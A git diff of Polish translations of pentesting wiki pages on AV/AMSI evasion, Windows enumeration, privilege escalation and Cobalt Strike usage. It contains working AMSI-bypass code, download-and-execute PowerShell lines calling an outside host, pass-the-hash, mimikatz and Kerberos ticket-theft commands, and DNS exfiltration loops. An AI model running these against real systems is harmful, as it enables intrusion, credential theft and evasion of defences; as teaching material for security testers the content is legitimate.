bezplikowemu](https://en.wikipedia.org/wiki/Fileless_malware)". Początkowo, programy antywirusowe mogły skanować tylko **pliki na dysku**, więc jeśli udało ci się jakoś wykonać ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, aby temu zapobiec, ponieważ nie miał wystarczającej widoczności. @@ -135,13 +77,13 @@ Funkcja AMSI jest zintegrowana z tymi komponentami systemu Windows. - JavaScript i VBScript - Makra VBA w Office -Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie zawartości skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta. +Pozwala to rozwiązaniom antywirusowym na inspekcję zachowania skryptów poprzez ujawnienie treści skryptu w formie, która jest zarówno niezaszyfrowana, jak i nieukryta. Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w Windows Defender.
-Zauważ, jak dodaje `amsi:` a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku, powershell.exe +Zauważ, jak dodaje `amsi:` przed ścieżką do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku, powershell.exe Nie zapisaliśmy żadnego pliku na dysku, ale nadal zostaliśmy złapani w pamięci z powodu AMSI. @@ -149,13 +91,13 @@ Istnieje kilka sposobów na obejście AMSI: - **Obfuskacja** -Ponieważ AMSI głównie działa na podstawie wykryć statycznych, modyfikacja skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia. +Ponieważ AMSI głównie działa na podstawie statycznych wykryć, modyfikacja skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia. -Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli mają one wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że nie jest to proste do ominięcia. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będziesz w porządku, więc to zależy od tego, jak bardzo coś zostało oznaczone. +Jednak AMSI ma zdolność do deobfuskacji skryptów, nawet jeśli ma wiele warstw, więc obfuskacja może być złym rozwiązaniem w zależności od tego, jak jest przeprowadzona. To sprawia, że nie jest to proste do ominięcia. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc to zależy od tego, jak bardzo coś zostało oznaczone. - **Obejście AMSI** -Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI. +Ponieważ AMSI jest implementowane przez załadowanie DLL do procesu powershell (także cscript.exe, wscript.exe itd.), możliwe jest łatwe manipulowanie nim, nawet działając jako użytkownik bez uprawnień. Z powodu tej luki w implementacji AMSI, badacze znaleźli wiele sposobów na ominięcie skanowania AMSI. **Wymuszenie błędu** @@ -179,16 +121,16 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -Miej na uwadze, że to prawdopodobnie zostanie oznaczone, gdy ten post się pojawi, więc nie powinieneś publikować żadnego kodu, jeśli twoim planem jest pozostać niezauważonym. +Miej na uwadze, że to prawdopodobnie zostanie oznaczone, gdy ten post się pojawi, więc nie powinieneś publikować żadnego kodu, jeśli twoim planem jest pozostanie niezauważonym. **Memory Patching** Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonego przez użytkownika wejścia) i nadpisaniu go instrukcjami, aby zwrócić kod E_INVALIDARG, w ten sposób wynik rzeczywistego skanowania zwróci 0, co jest interpretowane jako czysty wynik. > [!NOTE] -> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) w celu uzyskania bardziej szczegółowego wyjaśnienia. +> Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) dla bardziej szczegółowego wyjaśnienia. -Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat. +Istnieje również wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) oraz [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat. Lub ten skrypt, który za pomocą memory patching będzie patchował każdy nowy Powersh @@ -197,12 +139,12 @@ Lub ten skrypt, który za pomocą memory patching będzie patchował każdy nowy Istnieje kilka narzędzi, które można wykorzystać do **obfuskacji kodu C# w czystym tekście**, generowania **szablonów metaprogramowania** do kompilacji binarnych lub **obfuskacji skompilowanych binarnych**, takich jak: - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: obfuscator C#** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu]() i zabezpieczanie przed manipulacją. +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartoźródłowego forka zestawu kompilacji [LLVM](http://www.llvm.org/), który ma na celu zwiększenie bezpieczeństwa oprogramowania poprzez [obfuskację kodu]() i zabezpieczanie przed manipulacjami. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstruje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, obfuskowanego kodu bez użycia jakiegokolwiek zewnętrznego narzędzia i bez modyfikacji kompilatora. - [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę obfuskowanych operacji generowanych przez framework metaprogramowania C++, co utrudni życie osobie chcącej złamać aplikację. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuscator binarny x64, który potrafi obfuskować różne pliki pe, w tym: .exe, .dll, .sys -- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorfnego dla dowolnych plików wykonywalnych. -- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o wysokiej precyzji dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania. +- [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych. +- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to framework obfuskacji kodu o drobnej granularności dla języków wspieranych przez LLVM, wykorzystujący ROP (programowanie oparte na zwrotach). ROPfuscator obfuskowuje program na poziomie kodu asemblera, przekształcając zwykłe instrukcje w łańcuchy ROP, co zakłóca nasze naturalne postrzeganie normalnego przepływu sterowania. - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt to .NET PE Crypter napisany w Nim. - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor potrafi przekształcić istniejące EXE/DLL w shellcode, a następnie je załadować. @@ -223,11 +165,11 @@ SmartScreen działa głównie na podstawie podejścia opartego na reputacji, co > [!NOTE] > Ważne jest, aby zauważyć, że pliki wykonywalne podpisane **zaufanym** certyfikatem podpisu **nie uruchomią SmartScreen**. -Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich payloadów Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **woluminów non NTFS**. +Bardzo skutecznym sposobem na zapobieżenie oznaczeniu twoich ładunków Mark of The Web jest pakowanie ich w jakiś rodzaj kontenera, takiego jak ISO. Dzieje się tak, ponieważ Mark-of-the-Web (MOTW) **nie może** być stosowane do **wolumenów non NTFS**.
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje payloady do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web. +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) to narzędzie, które pakuje ładunki do kontenerów wyjściowych, aby uniknąć Mark-of-the-Web. Przykład użycia: ```powershell @@ -265,13 +207,13 @@ Większość frameworków C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc - **Fork\&Run** -Polega to na **tworzeniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacji Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa** na **przetrwanie naszego implantatu.** Wadą jest to, że masz **większą szansę** na bycie złapanym przez **Wykrycia Behawioralne**. +Polega to na **uruchomieniu nowego procesy ofiarnego**, wstrzyknięciu złośliwego kodu post-exploitation do tego nowego procesu, wykonaniu złośliwego kodu, a po zakończeniu, zabiciu nowego procesu. Ma to zarówno swoje zalety, jak i wady. Zaletą metody fork and run jest to, że wykonanie odbywa się **poza** naszym procesem implantacji Beacon. Oznacza to, że jeśli coś w naszej akcji post-exploitation pójdzie źle lub zostanie wykryte, istnieje **dużo większa szansa**, że nasz **implant przetrwa.** Wadą jest to, że masz **większą szansę** na wykrycie przez **Wykrywanie Behawioralne**.
- **Inline** -Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utratę twojego beacona**, ponieważ może on się zawiesić. +Chodzi o wstrzyknięcie złośliwego kodu post-exploitation **do własnego procesu**. W ten sposób możesz uniknąć tworzenia nowego procesu i skanowania go przez AV, ale wadą jest to, że jeśli coś pójdzie źle z wykonaniem twojego ładunku, istnieje **dużo większa szansa** na **utracenie swojego beacona**, ponieważ może on się zawiesić.
@@ -298,7 +240,7 @@ Zachęcam cię do obejrzenia tego wystąpienia od [@ATTL4S](https://twitter.com/ {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} -To również świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat omijania w głębi. +To również kolejne świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszbit) na temat omijania w głębi. {% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} @@ -306,7 +248,7 @@ To również świetne wystąpienie od [@mariuszbit](https://twitter.com/mariuszb ### **Sprawdź, które części Defender uznaje za złośliwe** -Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów** aż **znajdzie, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\ +Możesz użyć [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck), który **usunie części binariów**, aż **dowie się, która część Defender** uznaje za złośliwą i podzieli się tym z tobą.\ Inne narzędzie robiące **to samo to** [**avred**](https://github.com/dobin/avred) z otwartą stroną internetową oferującą usługę w [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Serwer Telnet** @@ -340,7 +282,7 @@ Następnie przenieś plik binarny _**winvnc.exe**_ oraz **nowo** utworzony plik **Napastnik** powinien **wykonać wewnątrz** swojego **gospodarza** plik binarny `vncviewer.exe -listen 5900`, aby był **przygotowany** na przechwycenie zwrotnego **połączenia VNC**. Następnie, wewnątrz **ofiary**: Uruchom demon winvnc `winvnc.exe -run` i uruchom `winwnc.exe [-autoreconnect] -connect ::5900` -**OSTRZEŻENIE:** Aby zachować dyskrecję, nie należy robić kilku rzeczy +**OSTRZEŻENIE:** Aby zachować dyskrecję, musisz unikać kilku rzeczy - Nie uruchamiaj `winvnc`, jeśli już działa, bo wywołasz [popup](https://i.imgur.com/1SROTTl.png). sprawdź, czy działa za pomocą `tasklist | findstr winvnc` - Nie uruchamiaj `winvnc` bez `UltraVNC.ini` w tym samym katalogu, bo spowoduje to otwarcie [okna konfiguracyjnego](https://i.imgur.com/rfMQWcf.png) diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index 637638365..d5ec63e16 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -23,7 +23,7 @@ DRIVERQUERY #3rd party driver vulnerable? ```bash set #List all environment variables ``` -Niektóre zmienne środowiskowe do wyróżnienia: +Niektóre zmienne środowiskowe do podkreślenia: - **COMPUTERNAME**: Nazwa komputera - **TEMP/TMP:** Folder tymczasowy @@ -190,7 +190,7 @@ netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` -### Zapora ogniowa +### Zapora sieciowa ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all @@ -349,7 +349,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one ``` -Możesz również **przekierować** wyjście, a następnie **odczytać** je. +Możesz również **przekierować** wyjście, a następnie **przeczytać** je. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 808207364..ce74cb898 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -119,7 +119,7 @@ ValueData : 0 Dlatego celem ominięcia AMSI, które będziesz stosować, jest **nadpisanie instrukcji tego DLL w pamięci, aby uczynić wykrywanie bezużytecznym**. -**Strona internetowa generatora ominięcia AMSI**: [**https://amsi.fail/**](https://amsi.fail/) +**Generator ominięcia AMSI**: [**https://amsi.fail/**](https://amsi.fail/) ```powershell # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -168,9 +168,9 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Sprawdź [**ten post, aby uzyskać szczegółowe informacje i kod**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Wprowadzenie: -Ta nowa technika opiera się na hooking wywołań API metod .NET. Okazuje się, że metody .NET muszą być kompilowane do natywnych instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do natywnych metod. Te skompilowane metody mogą być hookowane, aby zmienić przepływ sterowania programu. +Ta nowa technika opiera się na hookowaniu wywołań API metod .NET. Okazuje się, że metody .NET muszą być kompilowane do natywnych instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do natywnych metod. Te skompilowane metody mogą być hookowane, aby zmienić przepływ sterowania programu. -Kroki wykonujące hooking wywołań API metod .NET to: +Kroki wykonujące hookowanie wywołań API metod .NET to: 1. Zidentyfikuj docelową metodę do hookowania 2. Zdefiniuj metodę o tym samym prototypie funkcji co cel @@ -181,7 +181,7 @@ Kroki wykonujące hooking wywołań API metod .NET to: ### AMSI Bypass 3 - Uprawnienia SeDebug -[**Postępując zgodnie z tym przewodnikiem i kodem**](https://github.com/MzHmO/DebugAmsi), możesz zobaczyć, jak z wystarczającymi uprawnieniami do debugowania procesów możesz uruchomić proces powershell.exe, debugować go, monitorować, kiedy ładuje `amsi.dll` i wyłączyć go. +[**Postępując zgodnie z tym przewodnikiem i kodem**](https://github.com/MzHmO/DebugAmsi), możesz zobaczyć, jak z wystarczającymi uprawnieniami do debugowania procesów możesz uruchomić proces powershell.exe, zdebugować go, monitorować, kiedy ładuje `amsi.dll` i wyłączyć go. ### AMSI Bypass - Więcej zasobów @@ -250,7 +250,7 @@ Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` -Lub bezpośrednie analizowanie formatu XML: +Lub bezpośrednie analizowanie formularza XML: ```powershell $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * diff --git a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md index 968cb334e..116cb5d40 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/powerview.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/powerview.md @@ -275,7 +275,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ```powershell Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users ``` -#### Użyj różnych poświadczeń (argument) +#### Użyj innych poświadczeń (argument) ```powershell # use an alterate creadential for any function $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index bcde32d3a..e25ccc05f 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -6,7 +6,7 @@ ### [Informacje o systemie](windows-local-privilege-escalation/#system-info) -- [ ] Uzyskaj [**informacje o systemie**](windows-local-privilege-escalation/#system-info) +- [ ] Uzyskaj [**Informacje o systemie**](windows-local-privilege-escalation/#system-info) - [ ] Szukaj **eksploatacji jądra** [**za pomocą skryptów**](windows-local-privilege-escalation/#version-exploits) - [ ] Użyj **Google do wyszukiwania** eksploatacji **jądra** - [ ] Użyj **searchsploit do wyszukiwania** eksploatacji **jądra** @@ -17,7 +17,7 @@ - [ ] [**Eksploatacja WSUS**](windows-local-privilege-escalation/#wsus)? - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)? -### [Enumaracja logów/AV](windows-local-privilege-escalation/#enumeration) +### [Logowanie/wyliczanie AV](windows-local-privilege-escalation/#enumeration) - [ ] Sprawdź ustawienia [**Audytu**](windows-local-privilege-escalation/#audit-settings) i [**WEF**](windows-local-privilege-escalation/#wef) - [ ] Sprawdź [**LAPS**](windows-local-privilege-escalation/#laps) @@ -33,7 +33,7 @@ - [ ] Czy jesteś [**członkiem jakiejkolwiek grupy z uprawnieniami**](windows-local-privilege-escalation/#privileged-groups)? - [ ] Sprawdź, czy masz [jakiekolwiek z tych tokenów włączonych](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? - [ ] [**Sesje użytkowników**](windows-local-privilege-escalation/#logged-users-sessions)? -- [ ] Sprawdź [**domy użytkowników**](windows-local-privilege-escalation/#home-folders) (dostęp?) +- [ ] Sprawdź [**domy** użytkowników](windows-local-privilege-escalation/#home-folders) (dostęp?) - [ ] Sprawdź [**Politykę haseł**](windows-local-privilege-escalation/#password-policy) - [ ] Co jest [**w schowku**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)? @@ -54,7 +54,7 @@ - [ ] [Czy możesz **zmodyfikować jakąkolwiek usługę**?](windows-local-privilege-escalation/#permissions) - [ ] [Czy możesz **zmodyfikować** **binarne** pliki, które są **wykonywane** przez jakąkolwiek **usługę**?](windows-local-privilege-escalation/#modify-service-binary-path) - [ ] [Czy możesz **zmodyfikować** **rejestr** jakiejkolwiek **usługi**?](windows-local-privilege-escalation/#services-registry-modify-permissions) -- [ ] [Czy możesz skorzystać z jakiejkolwiek **niecytowanej usługi** binarnej **ścieżki**?](windows-local-privilege-escalation/#unquoted-service-paths) +- [ ] [Czy możesz skorzystać z jakiejkolwiek **niecytowanej ścieżki binarnej usługi**?](windows-local-privilege-escalation/#unquoted-service-paths) ### [**Aplikacje**](windows-local-privilege-escalation/#applications) @@ -70,7 +70,7 @@ ### [Sieć](windows-local-privilege-escalation/#network) -- [ ] Enumaruj sieć (udostępnienia, interfejsy, trasy, sąsiedzi, ...) +- [ ] Wylicz sieć (udostępnienia, interfejsy, trasy, sąsiedzi, ...) - [ ] Zwróć szczególną uwagę na usługi sieciowe nasłuchujące na localhost (127.0.0.1) ### [Dane uwierzytelniające Windows](windows-local-privilege-escalation/#windows-credentials) @@ -81,7 +81,7 @@ - [ ] Hasła zapisanych [**sieci Wifi**](windows-local-privilege-escalation/#wifi)? - [ ] Ciekawe informacje w [**zapisanych połączeniach RDP**](windows-local-privilege-escalation/#saved-rdp-connections)? - [ ] Hasła w [**niedawno uruchomionych poleceniach**](windows-local-privilege-escalation/#recently-run-commands)? -- [ ] [**Menadżer danych uwierzytelniających pulpitu zdalnego**](windows-local-privilege-escalation/#remote-desktop-credential-manager) hasła? +- [ ] [**Menadżer danych uwierzytelniających zdalnego pulpitu**](windows-local-privilege-escalation/#remote-desktop-credential-manager) hasła? - [ ] [**AppCmd.exe** istnieje](windows-local-privilege-escalation/#appcmd-exe)? Dane uwierzytelniające? - [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Ładowanie DLL z boku? diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index ee0b260e9..afd76cc46 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -10,14 +10,14 @@ Beacony tych listenerów nie muszą komunikować się bezpośrednio z C2, mogą komunikować się z nim przez inne beacony. -`Cobalt Strike -> Listeners -> Add/Edit`, a następnie musisz wybrać beacony TCP lub SMB +`Cobalt Strike -> Listeners -> Add/Edit`, a następnie musisz wybrać beacony TCP lub SMB. -* **Beacon TCP ustawi listener na wybranym porcie**. Aby połączyć się z beaconem TCP, użyj polecenia `connect ` z innego beacona +* **Beacon TCP ustawi listener na wybranym porcie**. Aby połączyć się z beaconem TCP, użyj polecenia `connect ` z innego beacona. * **Beacon smb będzie nasłuchiwać na pipename o wybranej nazwie**. Aby połączyć się z beaconem SMB, musisz użyć polecenia `link [target] [pipe]`. -### Generate & Host payloads +### Generowanie i hostowanie payloadów -#### Generate payloads in files +#### Generowanie payloadów w plikach `Attacks -> Packages ->` @@ -26,15 +26,15 @@ Beacony tych listenerów nie muszą komunikować się bezpośrednio z C2, mogą * **`Windows Executable`** dla .exe, .dll lub usługi .exe * **`Windows Executable (S)`** dla **stageless** .exe, .dll lub usługi .exe (lepsze stageless niż staged, mniej IoCs) -#### Generate & Host payloads +#### Generowanie i hostowanie payloadów -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` To wygeneruje skrypt/wykonywalny do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python +`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` To wygeneruje skrypt/wykonywalny plik do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python. -#### Host Payloads +#### Hostowanie payloadów Jeśli już masz plik, który chcesz hostować na serwerze www, po prostu przejdź do `Attacks -> Web Drive-by -> Host File` i wybierz plik do hostowania oraz konfigurację serwera www. -### Beacon Options +### Opcje Beacona 
# Wykonaj lokalny plik .NET
 execute-assembly </path/to/executable.exe>
@@ -58,45 +58,45 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 powershell-import C:\path\to\PowerView.ps1
 powershell <po prostu napisz polecenie powershell tutaj>
 
-# Użytkownik impersonation
+# Uwierzytelnianie użytkownika
 ## Generowanie tokena z poświadczeniami
-make_token [DOMAIN\user] [password] #Utwórz token, aby impersonować użytkownika w sieci
-ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerze
+make_token [DOMAIN\user] [password] #Utwórz token do uwierzytelnienia użytkownika w sieci
+ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena do uzyskania dostępu do C$ na komputerze
 rev2self # Zatrzymaj używanie tokena wygenerowanego za pomocą make_token
 ## Użycie make_token generuje zdarzenie 4624: Konto zostało pomyślnie zalogowane. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrując według typu logowania. Jak wspomniano powyżej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typu 9.
 
-# UAC Bypass
+# Ominięcie UAC
 elevate svc-exe <listener>
 elevate uac-token-duplication <listener>
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
-## Kradnij token z pid
-## Jak make_token, ale kradnąc token z procesu
-steal_token [pid] # To również jest przydatne do działań sieciowych, a nie lokalnych
-## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować swój obecny token". Dlatego wyjście Beacon mówi Impersonated <current_username> - impersonuje nasz własny sklonowany token.
-ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena, aby uzyskać dostęp do C$ na komputerze
+## Kradzież tokena z pid
+## Jak make_token, ale kradnie token z procesu
+steal_token [pid] # To również jest przydatne do działań w sieci, a nie lokalnych
+## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować swój obecny token". Dlatego wyjście Beacona mówi Impersonated <current_username> - udaje nasz własny sklonowany token.
+ls \\computer_name\c$ # Spróbuj użyć wygenerowanego tokena do uzyskania dostępu do C$ na komputerze
 rev2self # Zatrzymaj używanie tokena z steal_token
 
 ## Uruchom proces z nowymi poświadczeniami
 spawnas [domain\username] [password] [listener] #Zrób to z katalogu z dostępem do odczytu, np. cd C:\
-## Jak make_token, to wygeneruje zdarzenie Windows 4624: Konto zostało pomyślnie zalogowane, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Szczegóły będą zawierać użytkownika wywołującego (TargetUserName) i użytkownika impersonowanego (TargetOutboundUserName).
+## Jak make_token, to wygeneruje zdarzenie Windows 4624: Konto zostało pomyślnie zalogowane, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Szczegóły będą zawierać użytkownika wywołującego (TargetUserName) i użytkownika, którego udaje (TargetOutboundUserName).
 
 ## Wstrzyknij do procesu
 inject [pid] [x64|x86] [listener]
 ## Z punktu widzenia OpSec: Nie wykonuj wstrzykiwania międzyplatformowego, chyba że naprawdę musisz (np. x86 -> x64 lub x64 -> x86).
 
-## Pass the hash
+## Przekaż hash
 ## Ten proces modyfikacji wymaga patchowania pamięci LSASS, co jest działaniem wysokiego ryzyka, wymaga lokalnych uprawnień administratora i nie jest zbyt wykonalne, jeśli włączony jest Protected Process Light (PPL).
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Pass the hash przez mimikatz
+## Przekaż hash przez mimikatz
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
 ## Bez /run, mimikatz uruchomi cmd.exe, jeśli działasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli działasz jako SYSTEM, jesteś w porządku)
-steal_token <pid> #Kradnij token z procesu utworzonego przez mimikatz
+steal_token <pid> #Kradzież tokena z procesu utworzonego przez mimikatz
 
-## Pass the ticket
-## Żądaj biletu
+## Przekaż bilet
+## Żądanie biletu
 execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
 ## Utwórz nową sesję logowania do użycia z nowym biletem (aby nie nadpisywać skompromitowanego)
 make_token <domain>\<username> DummyPass
@@ -104,13 +104,13 @@ make_token <domain>\<username> DummyPass
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
-## Pass the ticket z SYSTEM
+## Przekaż bilet z SYSTEM
 ## Wygeneruj nowy proces z biletem
 execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
 ## Kradnij token z tego procesu
 steal_token <pid>
 
-## Extract ticket + Pass the ticket
+## Ekstrakcja biletu + Przekaż bilet
 ### Lista biletów
 execute-assembly C:\path\Rubeus.exe triage
 ### Zrzut interesującego biletu według luid
@@ -119,10 +119,10 @@ execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowr
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Wstaw bilet w wygenerowanej sesji logowania
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Na koniec, kradnij token z tego nowego procesu
+### Na koniec, ukradnij token z tego nowego procesu
 steal_token <pid>
 
-# Lateral Movement
+# Ruch Lateralny
 ## Jeśli token został utworzony, zostanie użyty
 jump [method] [target] [listener]
 ## Metody:
@@ -143,7 +143,7 @@ beacon> upload C:\Payloads\beacon-smb.exe
 beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
 
 
-# Pass session to Metasploit - Through listener
+# Przekaż sesję do Metasploit - Przez listener
